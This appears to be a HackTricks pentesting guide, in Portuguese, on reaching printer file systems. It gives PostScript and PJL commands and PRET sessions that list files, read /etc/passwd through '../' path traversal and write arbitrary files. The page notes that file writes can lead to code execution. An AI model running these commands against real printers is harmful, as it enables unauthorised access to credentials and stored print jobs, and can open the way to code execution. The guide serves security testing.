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hacktricks/network-services-pentesting/pentesting-printers/file-system-access.md
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Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

PostScript

Recupere informações sensíveis como arquivos de configuração ou trabalhos de impressão armazenados, RCE escrevendo arquivos (como editar scripts rc ou substituir arquivos binários). Construções de linguagem legítimas são definidas para PostScript e PJL para acessar o sistema de arquivos.

Acesse o sistema de arquivos com PostScript (note que pode estar em sandbox limitando a ações inofensivas):

> /str 256 string def (%*%../*)                               % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)

> /byte (0) def                                                % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
>   (%stdout) (w) file byte writestring}
>   {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh

> /outfile (test.txt) (w+) file def}}                         % write to file
> outfile (Hello World!) writestring
> outfile closefile

Você pode usar comandos PRET: ls, get, put, append, delete, rename, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz e df:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d        -   Jan  1  1970 (created Jan  1  1970)  bootdev
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi_ss
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_ram0
d        -   Jan  1  1970 (created Jan  1  1970)  etc
d        -   Jan  1  1970 (created Jan  1  1970)  tmp
d        -   Jan  1  1970 (created Jan  1  1970)  webServer

PJL

> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535               (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR

> @PJL FSQUERY NAME="0:\..\..\etc\passwd"                     (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh

> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt"                  (write to file)
> Hello World!

De qualquer forma, acessar arquivos com PJL não é suportado por muitas impressoras.

Você pode usar comandos PRET: ls, get, put, append, delete, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz e df:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d        -   bootdev
d        -   dsk_jdi
d        -   dsk_jdi_ss
d        -   dsk_ram0
d        -   etc
d        -   lrt
d        -   tmp
d        -   webServer
d        -   xps

Saiba mais sobre possíveis bypasses de sandbox usando limitações de PostScript e PJL em http://hacking-printers.net/wiki/index.php/File_system_access

Aprenda pentesting em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: